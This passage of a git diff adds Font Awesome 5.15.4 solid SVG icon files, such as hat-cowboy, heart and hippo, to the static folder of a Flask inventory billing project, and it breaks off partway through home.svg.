/dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hat-cowboy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M490 296.9C480.51 239.51 450.51 64 392.3 64c-14 0-26.49 5.93-37 14a58.21 58.21 0 0 1-70.58 0c-10.51-8-23-14-37-14-58.2 0-88.2 175.47-97.71 232.88C188.81 309.47 243.73 320 320 320s131.23-10.51 170-23.1zm142.9-37.18a16 16 0 0 0-19.75 1.5c-1 .9-101.27 90.78-293.16 90.78-190.82 0-292.22-89.94-293.24-90.84A16 16 0 0 0 1 278.53C1.73 280.55 78.32 480 320 480s318.27-199.45 319-201.47a16 16 0 0 0-6.09-18.81z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hat-wizard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hat-wizard.svg new file mode 100644 index 00000000..6c44494e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hat-wizard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-304-64l-64-32 64-32 32-64 32 64 64 32-64 32-16 32h208l-86.41-201.63a63.955 63.955 0 0 1-1.89-45.45L416 0 228.42 107.19a127.989 127.989 0 0 0-53.46 59.15L64 416h144l-16-32zm64-224l16-32 16 32 32 16-32 16-16 32-16-32-32-16 32-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hdd.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hdd.svg new file mode 100644 index 00000000..af7c45d0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hdd.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M576 304v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48zm-48-80a79.557 79.557 0 0 1 30.777 6.165L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L17.223 230.165A79.557 79.557 0 0 1 48 224h480zm-48 96c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm-96 0c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-cough-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-cough-slash.svg new file mode 100644 index 00000000..7b61d37f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-cough-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M454.11,319.21c19.56-3.81,31.62-25,23.11-44.21-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192A190.64,190.64,0,0,0,84.18,33.3L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM313.39,210.45,263.61,172c5.88-7.14,14.43-12,24.36-12a32.06,32.06,0,0,1,32,32C320,199,317.24,205.17,313.39,210.45ZM616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304Zm-64,64a24,24,0,1,0-24-24A24,24,0,0,0,552,368ZM288,384a32,32,0,0,1,32-32h19.54L20.73,105.59A190.86,190.86,0,0,0,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320A32,32,0,0,1,288,384Zm328-24a24,24,0,1,0,24,24A24,24,0,0,0,616,360Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-cough.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-cough.svg new file mode 100644 index 00000000..82180099 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-cough.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304ZM552,416a24,24,0,1,0,24,24A24,24,0,0,0,552,416Zm-64-56a24,24,0,1,0,24,24A24,24,0,0,0,488,360ZM616,464a24,24,0,1,0,24,24A24,24,0,0,0,616,464Zm0-104a24,24,0,1,0,24,24A24,24,0,0,0,616,360Zm-64-40a24,24,0,1,0,24,24A24,24,0,0,0,552,320Zm-74.78-45c-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192C86,0,0,86,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320a32,32,0,0,1,0-64h96V320h32A32,32,0,0,0,477.22,275ZM288,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,288,224Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-mask.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-mask.svg new file mode 100644 index 00000000..fefd541a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-mask.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M.15,184.42C-2.17,244.21,23,298.06,64,334.88V512H224V316.51L3.67,156.25A182.28,182.28,0,0,0,.15,184.42ZM509.22,275c-21-47.12-48.5-151.75-73.12-186.75A208.11,208.11,0,0,0,266.11,0H200C117,0,42.48,50.57,13.25,123.65L239.21,288H511.76A31.35,31.35,0,0,0,509.22,275ZM320,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,320,224Zm16,144H496l16-48H256V512H401.88a64,64,0,0,0,60.71-43.76L464,464H336a16,16,0,0,1,0-32H474.67l10.67-32H336a16,16,0,0,1,0-32Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-virus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-virus.svg new file mode 100644 index 00000000..9f60b227 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/head-side-virus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272,240a16,16,0,1,0,16,16A16,16,0,0,0,272,240Zm-64-64a16,16,0,1,0,16,16A16,16,0,0,0,208,176Zm301.2,99c-20.93-47.12-48.43-151.73-73.07-186.75A207.9,207.9,0,0,0,266.09,0H192C86,0,0,86,0,192A191.23,191.23,0,0,0,64,334.81V512H320V448h64a64,64,0,0,0,64-64V320H480A32,32,0,0,0,509.2,275ZM368,240H355.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C290.47,297.09,256,311.37,256,339.88V352a16,16,0,0,1-32,0V339.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H112a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V96a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C313.09,173.53,327.37,208,355.88,208H368a16,16,0,0,1,0,32Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heading.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heading.svg new file mode 100644 index 00000000..a3122d4b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heading.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 96v320h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H320a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V288H160v128h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V96H32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16h-32v128h192V96h-32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/headphones-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/headphones-alt.svg new file mode 100644 index 00000000..c0d4fbf0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/headphones-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M160 288h-16c-35.35 0-64 28.7-64 64.12v63.76c0 35.41 28.65 64.12 64 64.12h16c17.67 0 32-14.36 32-32.06V320.06c0-17.71-14.33-32.06-32-32.06zm208 0h-16c-17.67 0-32 14.35-32 32.06v127.88c0 17.7 14.33 32.06 32 32.06h16c35.35 0 64-28.71 64-64.12v-63.76c0-35.41-28.65-64.12-64-64.12zM256 32C112.91 32 4.57 151.13 0 288v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288c0-114.67 93.33-207.8 208-207.82 114.67.02 208 93.15 208 207.82v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288C507.43 151.13 399.09 32 256 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/headphones.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/headphones.svg new file mode 100644 index 00000000..e7e7255e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/headphones.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 32C114.52 32 0 146.496 0 288v48a32 32 0 0 0 17.689 28.622l14.383 7.191C34.083 431.903 83.421 480 144 480h24c13.255 0 24-10.745 24-24V280c0-13.255-10.745-24-24-24h-24c-31.342 0-59.671 12.879-80 33.627V288c0-105.869 86.131-192 192-192s192 86.131 192 192v1.627C427.671 268.879 399.342 256 368 256h-24c-13.255 0-24 10.745-24 24v176c0 13.255 10.745 24 24 24h24c60.579 0 109.917-48.098 111.928-108.187l14.382-7.191A32 32 0 0 0 512 336v-48c0-141.479-114.496-256-256-256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/headset.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/headset.svg new file mode 100644 index 00000000..682610a4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/headset.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 208c0-17.67-14.33-32-32-32h-16c-35.35 0-64 28.65-64 64v48c0 35.35 28.65 64 64 64h16c17.67 0 32-14.33 32-32V208zm176 144c35.35 0 64-28.65 64-64v-48c0-35.35-28.65-64-64-64h-16c-17.67 0-32 14.33-32 32v112c0 17.67 14.33 32 32 32h16zM256 0C113.18 0 4.58 118.83 0 256v16c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-16c0-114.69 93.31-208 208-208s208 93.31 208 208h-.12c.08 2.43.12 165.72.12 165.72 0 23.35-18.93 42.28-42.28 42.28H320c0-26.51-21.49-48-48-48h-32c-26.51 0-48 21.49-48 48s21.49 48 48 48h181.72c49.86 0 90.28-40.42 90.28-90.28V256C507.42 118.83 398.82 0 256 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heart-broken.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heart-broken.svg new file mode 100644 index 00000000..d69d57b7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heart-broken.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M473.7 73.8l-2.4-2.5c-46-47-118-51.7-169.6-14.8L336 159.9l-96 64 48 128-144-144 96-64-28.6-86.5C159.7 19.6 87 24 40.7 71.4l-2.4 2.4C-10.4 123.6-12.5 202.9 31 256l212.1 218.6c7.1 7.3 18.6 7.3 25.7 0L481 255.9c43.5-53 41.4-132.3-7.3-182.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heart.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heart.svg new file mode 100644 index 00000000..f45b0554 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heart.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heartbeat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heartbeat.svg new file mode 100644 index 00000000..48c937fe --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/heartbeat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320.2 243.8l-49.7 99.4c-6 12.1-23.4 11.7-28.9-.6l-56.9-126.3-30 71.7H60.6l182.5 186.5c7.1 7.3 18.6 7.3 25.7 0L451.4 288H342.3l-22.1-44.2zM473.7 73.9l-2.4-2.5c-51.5-52.6-135.8-52.6-187.4 0L256 100l-27.9-28.5c-51.5-52.7-135.9-52.7-187.4 0l-2.4 2.4C-10.4 123.7-12.5 203 31 256h102.4l35.9-86.2c5.4-12.9 23.6-13.2 29.4-.4l58.2 129.3 49-97.9c5.9-11.8 22.7-11.8 28.6 0l27.6 55.2H481c43.5-53 41.4-132.3-7.3-182.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/helicopter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/helicopter.svg new file mode 100644 index 00000000..437f5d62 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/helicopter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304 384h272c17.67 0 32-14.33 32-32 0-123.71-100.29-224-224-224V64h176c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H144c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h176v64H112L68.8 70.4C65.78 66.37 61.03 64 56 64H16.01C5.6 64-2.04 73.78.49 83.88L32 192l160 64 86.4 115.2A31.992 31.992 0 0 0 304 384zm112-188.49C478.55 208.3 528.03 257.44 540.79 320H416V195.51zm219.37 263.3l-22.15-22.2c-6.25-6.26-16.24-6.1-22.64.01-7.09 6.77-13.84 11.25-24.64 11.25H240c-8.84 0-16 7.18-16 16.03v32.06c0 8.85 7.16 16.03 16 16.03h325.94c14.88 0 35.3-.47 68.45-29.52 7.02-6.14 7.57-17.05.98-23.66z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/highlighter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/highlighter.svg new file mode 100644 index 00000000..9b3687d0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/highlighter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 544 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 479.98L99.92 512l35.45-35.45-67.04-67.04L0 479.98zm124.61-240.01a36.592 36.592 0 0 0-10.79 38.1l13.05 42.83-50.93 50.94 96.23 96.23 50.86-50.86 42.74 13.08c13.73 4.2 28.65-.01 38.15-10.78l35.55-41.64-173.34-173.34-41.52 35.44zm403.31-160.7l-63.2-63.2c-20.49-20.49-53.38-21.52-75.12-2.35L190.55 183.68l169.77 169.78L530.27 154.4c19.18-21.74 18.15-54.63-2.35-75.13z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hiking.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hiking.svg new file mode 100644 index 00000000..ae12ef13 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hiking.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M80.95 472.23c-4.28 17.16 6.14 34.53 23.28 38.81 2.61.66 5.22.95 7.8.95 14.33 0 27.37-9.7 31.02-24.23l25.24-100.97-52.78-52.78-34.56 138.22zm14.89-196.12L137 117c2.19-8.42-3.14-16.95-11.92-19.06-43.88-10.52-88.35 15.07-99.32 57.17L.49 253.24c-2.19 8.42 3.14 16.95 11.92 19.06l63.56 15.25c8.79 2.1 17.68-3.02 19.87-11.44zM368 160h-16c-8.84 0-16 7.16-16 16v16h-34.75l-46.78-46.78C243.38 134.11 228.61 128 212.91 128c-27.02 0-50.47 18.3-57.03 44.52l-26.92 107.72a32.012 32.012 0 0 0 8.42 30.39L224 397.25V480c0 17.67 14.33 32 32 32s32-14.33 32-32v-82.75c0-17.09-6.66-33.16-18.75-45.25l-46.82-46.82c.15-.5.49-.89.62-1.41l19.89-79.57 22.43 22.43c6 6 14.14 9.38 22.62 9.38h48v240c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V176c.01-8.84-7.15-16-15.99-16zM240 96c26.51 0 48-21.49 48-48S266.51 0 240 0s-48 21.49-48 48 21.49 48 48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hippo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hippo.svg new file mode 100644 index 00000000..92049d14 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hippo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M581.12 96.2c-27.67-.15-52.5 17.58-76.6 26.62C489.98 88.27 455.83 64 416 64c-11.28 0-21.95 2.3-32 5.88V56c0-13.26-10.75-24-24-24h-16c-13.25 0-24 10.74-24 24v48.98C286.01 79.58 241.24 64 192 64 85.96 64 0 135.64 0 224v240c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16v-70.79C128.35 407.57 166.72 416 208 416s79.65-8.43 112-22.79V464c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V288h128v32c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-32c17.67 0 32-14.33 32-32v-92.02c0-34.09-24.79-67.59-58.88-67.78zM448 176c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/history.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/history.svg new file mode 100644 index 00000000..2c0a6bf7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/history.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 255.531c.253 136.64-111.18 248.372-247.82 248.468-59.015.042-113.223-20.53-155.822-54.911-11.077-8.94-11.905-25.541-1.839-35.607l11.267-11.267c8.609-8.609 22.353-9.551 31.891-1.984C173.062 425.135 212.781 440 256 440c101.705 0 184-82.311 184-184 0-101.705-82.311-184-184-184-48.814 0-93.149 18.969-126.068 49.932l50.754 50.754c10.08 10.08 2.941 27.314-11.313 27.314H24c-8.837 0-16-7.163-16-16V38.627c0-14.254 17.234-21.393 27.314-11.314l49.372 49.372C129.209 34.136 189.552 8 256 8c136.81 0 247.747 110.78 248 247.531zm-180.912 78.784l9.823-12.63c8.138-10.463 6.253-25.542-4.21-33.679L288 256.349V152c0-13.255-10.745-24-24-24h-16c-13.255 0-24 10.745-24 24v135.651l65.409 50.874c10.463 8.137 25.541 6.253 33.679-4.21z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hockey-puck.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hockey-puck.svg new file mode 100644 index 00000000..ffa4cbd9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hockey-puck.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 160c0-53 114.6-96 256-96s256 43 256 96-114.6 96-256 96S0 213 0 160zm0 82.2V352c0 53 114.6 96 256 96s256-43 256-96V242.2c-113.4 82.3-398.5 82.4-512 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/holly-berry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/holly-berry.svg new file mode 100644 index 00000000..a46520a7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/holly-berry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M144 192c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm112-48c0 26.5 21.5 48 48 48s48-21.5 48-48-21.5-48-48-48-48 21.5-48 48zm-32-48c26.5 0 48-21.5 48-48S250.5 0 224 0s-48 21.5-48 48 21.5 48 48 48zm-16.2 139.1c.1-12.4-13.1-20.1-23.8-13.7-34.3 20.3-71.4 32.7-108.7 36.2-9.7.9-15.6 11.3-11.6 20.2 6.2 13.9 11.1 28.6 14.7 43.8 3.6 15.2-5.3 30.6-20.2 35.1-14.9 4.5-30.1 7.6-45.3 9.1-9.7 1-15.7 11.3-11.7 20.2 15 32.8 22.9 69.5 23 107.7.1 14.4 15.2 23.1 27.6 16 33.2-19 68.9-30.5 104.8-33.9 9.7-.9 15.6-11.3 11.6-20.2-6.2-13.9-11.1-28.6-14.7-43.8-3.6-15.2 5.3-30.6 20.2-35.1 14.9-4.5 30.1-7.6 45.3-9.1 9.7-1 15.7-11.3 11.7-20.2-15.5-34.2-23.3-72.5-22.9-112.3zM435 365.6c-15.2-1.6-30.3-4.7-45.3-9.1-14.9-4.5-23.8-19.9-20.2-35.1 3.6-15.2 8.5-29.8 14.7-43.8 4-8.9-1.9-19.3-11.6-20.2-37.3-3.5-74.4-15.9-108.7-36.2-10.7-6.3-23.9 1.4-23.8 13.7 0 1.6-.2 3.2-.2 4.9.2 33.3 7 65.7 19.9 94 5.7 12.4 5.2 26.6-.6 38.9 4.9 1.2 9.9 2.2 14.8 3.7 14.9 4.5 23.8 19.9 20.2 35.1-3.6 15.2-8.5 29.8-14.7 43.8-4 8.9 1.9 19.3 11.6 20.2 35.9 3.4 71.6 14.9 104.8 33.9 12.5 7.1 27.6-1.6 27.6-16 .2-38.2 8-75 23-107.7 4.3-8.7-1.8-19.1-11.5-20.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/home.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/home.svg new file mode 100644 index 00000000..5c9d6238 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/home.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: 